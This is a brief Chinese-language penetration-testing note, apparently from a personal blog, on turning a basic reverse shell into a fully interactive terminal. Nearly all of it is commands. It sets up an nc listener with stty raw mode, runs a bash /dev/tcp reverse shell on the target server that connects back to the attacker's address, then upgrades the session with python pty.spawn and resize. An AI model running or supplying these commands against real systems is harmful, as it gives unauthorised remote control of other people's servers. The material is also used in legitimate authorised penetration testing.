在渗透测试中经常需要用到反弹shell,而一般反弹回来的shell通常无法完成某些交互操作,如vi编辑文件等。这里先占个坑,简单把反弹一个完全交互shell的过程写出来,回头有机会再补充分析。
1 2 3 4
| # 本地监听 stty -a //获取当前终端参数备用 stty raw //设置当前终端为raw模式,部分发行版还需要加上-echo关闭终端回显 nc -vlp 1234 //监听端口,此时当前终端无回显,盲打或将上述命令做成shell脚本
|
1 2
| # 服务器 bash -i >& /dev/tcp/10.0.10.1/1234 0>&1 //正常反弹shell,其他方式也行
|
1 2 3 4 5 6 7 8
| # shell回来后 python -c 'import pty; pty.spawn("/bin/bash")' //spawn pty resize //根据当前终端尺寸重新设置COLUMNS和LINES环境变量
//如果没有resize命令,手动根据前面stty -a结果中的rows和columns值设置,如 export COLUMNS=204 LINES=51
//至此已拥有完全交互的shell
|
1 2
| # 操作结束后恢复当前终端状态,当然重启当前终端也行 stty -raw echo
|
参考资料:
functional tty shell
stty(1): change/print terminal line settings - Linux man page